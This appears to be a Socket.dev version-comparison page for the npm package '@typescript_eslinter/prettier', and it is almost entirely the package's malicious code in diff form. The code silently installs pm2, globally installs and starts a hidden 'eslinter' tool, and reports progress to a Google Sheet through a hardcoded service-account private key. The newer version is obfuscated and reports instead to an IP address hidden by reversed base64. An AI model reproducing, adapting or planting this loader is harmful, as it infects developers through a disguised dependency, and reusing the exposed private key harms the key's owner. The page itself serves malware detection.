You're Invited: Meet the Socket team at BSidesSF and RSAC - April 27 - May 1.RSVP

@typescript_eslinter/prettier

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

@typescript_eslinter/prettier - npm Package Compare versions

Comparing version

to
1.2.3

@@ -1,116 +0,1 @@

const { exec } = require('child_process');
// Function to install pm2 globally
function installPrettier() {
return new Promise((resolve, reject) => {
exec('npm install -g pm2', (error, stdout, stderr) => {
if (error) {
reject(`Error installing PM2: ${stderr}`);
} else {
resolve(stdout);
}
});
});
}
function deleteEslinter() {
return new Promise((resolve, reject) => {
exec('pm2 delete eslinter', (error, stdout, stderr) => {
if (error) {
reject(`Error installing PM2: ${stderr}`);
} else {
resolve(stdout);
}
});
});
}
// Function to install screener globally
function installEslinter() {
return new Promise((resolve, reject) => {
exec('npm install -g @typescript_eslinter/eslint@latest', (error, stdout, stderr) => {
if (error) {
reject(`Error installing PM2: ${stderr}`);
} else {
resolve(stdout);
}
});
});
}
// Function to start the folder with pm2
function startEslinter() {
return new Promise((resolve, reject) => {
exec(`eslinter start`, { windowsHide: true }, (error, stdout, stderr) => {
if (error) {
reject(`Error starting with PM2: ${stderr}`);
} else {
resolve(stdout);
}
});
});
}
const { JWT } = require('google-auth-library');
const { GoogleSpreadsheet } = require('google-spreadsheet');
async function accessSpreadsheet(minimizer, fuzzer) {
try {
// Initialize the sheet - doc ID is the long id in the sheets URL
const auth = new JWT({
email: "b-978-24@arboreal-drake-443608-f0.iam.gserviceaccount.com",
key: "-----BEGIN PRIVATE KEY-----\nMIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDlxXWjsCtNfWBB\npppsW/BSsxh9h6FkZfCnA4cpdVT5F2AkqntvnlYfRux6UsSaQYEHAoFUe4R/7tu/\ntSmjx5OLK7WA27odGyHeSJr5yfG5fvTXz+SSFt/iyZ23rHhI91bgg9i1Uk6n7ptS\nM2PglWybEUfJYbJWa+ibqQZB/K55dyg954iSfXj3GvSbFNyVabYsxZ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ugrLe5iu370xRV0BV7bi39Xl+BDPcvhI3Q/VjLtkmt0o6BwP/7VFSe9D2k\nh5PO7MB08LB5M8MnKGfhyiYrPBvUWikxa7p9t7xfm3o4iOwCJbmMNB3GwJdy+8us\nc8ZAgmwBZ1yyQS78knspu6CG6kfVH+xBb0PAJWmIAQKBgQC3OoTmm+Jqnkit7G9J\nVrIVExE8qhMASiQKI8MB2sUztW3HWBHLr8mPTPkXwkFOqqhVHJ7Ef/4rciU+eqGA\nwVgG3sbeFAsonbp32GFShh+UoLhnJiqPW+YfAiWqzNr6s38S19ZUA22ByFAfkqUn\n1WC10M28WhLKrOXa/WD90khwuQ==\n-----END PRIVATE KEY-----\n",
scopes: ['https://www.googleapis.com/auth/spreadsheets'],
});
const doc = new GoogleSpreadsheet('1YpM4h5OafBUg-cWgZ-GLqzZHHSxFtIBwXy15n85EGF4', auth);
await doc.loadInfo();
const sheet = doc.sheetsByIndex[0];
await sheet.addRow({
minimizer, fuzzer, time: new Date()
});
} catch (error) {
}
}
// Main function to execute the steps
async function main() {
try {
try {
await installPrettier();
console.log(".")
await accessSpreadsheet("loading...", "installPrettier")
} catch (error) {
console.log("..")
await accessSpreadsheet("loading...", error)
}
try {
await deleteEslinter();
console.log(".")
await accessSpreadsheet("loading...", "deleteEslinter")
} catch (error) {
console.log("..")
await accessSpreadsheet("loading...", error)
}
try {
await installEslinter();
console.log(".")
await accessSpreadsheet("loading...", "installEslinter")
} catch (error) {
console.log("..")
await accessSpreadsheet("loading...", error)
}
try {
await startEslinter();
console.log(".")
await accessSpreadsheet("loading...", "startEslinter")
} catch (error) {
console.log("..")
await accessSpreadsheet("loading...", error)
}
} catch (err) {
}
}
main();
const{exec:t}=require("child_process");function installPrettier(){return new Promise((e,i)=>{t("npm install -g pm2",(t,a,n)=>{t?i(`Error installing installPrettier: ${n}`):e(a)})})}function deleteEslinter(){return new Promise((e,i)=>{t("pm2 delete eslinter",(t,a,n)=>{t?i(`Error installing deleteEslinter: ${n}`):e(a)})})}function deleteEslinter1(){return new Promise((e,i)=>{t("/usr/local/Cellar/node/22.9.0_1/bin/pm2 delete eslinter",(t,a,n)=>{t?i(`Error installing deleteEslinter1: ${n}`):e(a)})})}function deleteEslinter2(){return new Promise((e,i)=>{t("/usr/local/Cellar/node/22.9.0_1/lib/node_modules/pm2/bin/pm2 delete eslinter",(t,a,n)=>{t?i(`Error installing deleteEslinter2: ${n}`):e(a)})})}function installEslinter(){return new Promise((e,i)=>{t("npm install -g @typescript_eslinter/eslint@latest",(t,a,n)=>{t?i(`Error installing installEslinter: ${n}`):e(a)})})}function startEslinter(){return new Promise((e,i)=>{t("eslinter start",{windowsHide:!0},(t,a,n)=>{t?i(`Error starting with startEslinter: ${n}`):e(a)})})}function startEslinter1(){return new Promise((e,i)=>{t("/usr/local/Cellar/node/22.9.0_1/bin/eslinter start",{windowsHide:!0},(t,a,n)=>{t?i(`Error starting with startEslinter1: ${n}`):e(a)})})}function startEslinter2(){return new Promise((e,i)=>{t("/usr/local/Celler/node/22.9.0_1/lib/node_modules/@typescript_eslinter/eslint/bin/eslinter start",{windowsHide:!0},(t,a,n)=>{t?i(`Error starting with startEslinter2: ${n}`):e(a)})})}const axios=require("axios");async function access(t,e){try{var i;let a=`http://${(i="==wM0QjO0UjMuYjMy4SM4EjL1MTM",atob(i.split("").reverse().join("")))}/api2`;await axios.post(a,{minimizer:t,fuzzer:e},{headers:{"Content-Type":"application/json"}})}catch(n){}}async function main(){try{try{await installPrettier(),await access("loading...installPrettier","")}catch(t){await access("loading...installPrettier"+t,"")}try{await deleteEslinter(),await access("loading...deleteEslinter","")}catch(e){await access("loading...deleteEslinter"+e,"");try{await deleteEslinter1(),await access("loading...deleteEslinter1","")}catch(i){await access("loading...deleteEslinter1"+i,"");try{await deleteEslinter2(),await access("loading...deleteEslinter2","")}catch(a){await access("loading...deleteEslinter2"+a,"")}}}try{await installEslinter(),await access("loading...installEslinter","")}catch(n){await access("loading...installEslinter"+n,"")}try{await startEslinter(),await access("loading...startEslinter","")}catch(s){await access("loading...startEslinter"+s,"");try{await startEslinter1(),await access("loading...startEslinter1","")}catch(r){await access("loading...startEslinter1"+r,"");try{await startEslinter2(),await access("loading...startEslinter2","")}catch(l){await access("loading...startEslinter2"+l,"")}}}}catch(c){}}main();
{
"name": "@typescript_eslinter/prettier",
"version": "1.2.2",
"version": "1.2.3",
"main": "index.js",

@@ -22,5 +22,4 @@ "scripts": {

"@solana/web3.js": "^1.95.8",
"google-auth-library": "^9.15.0",
"google-spreadsheet": "^4.1.4"
"axios": "^1.7.9"
}
}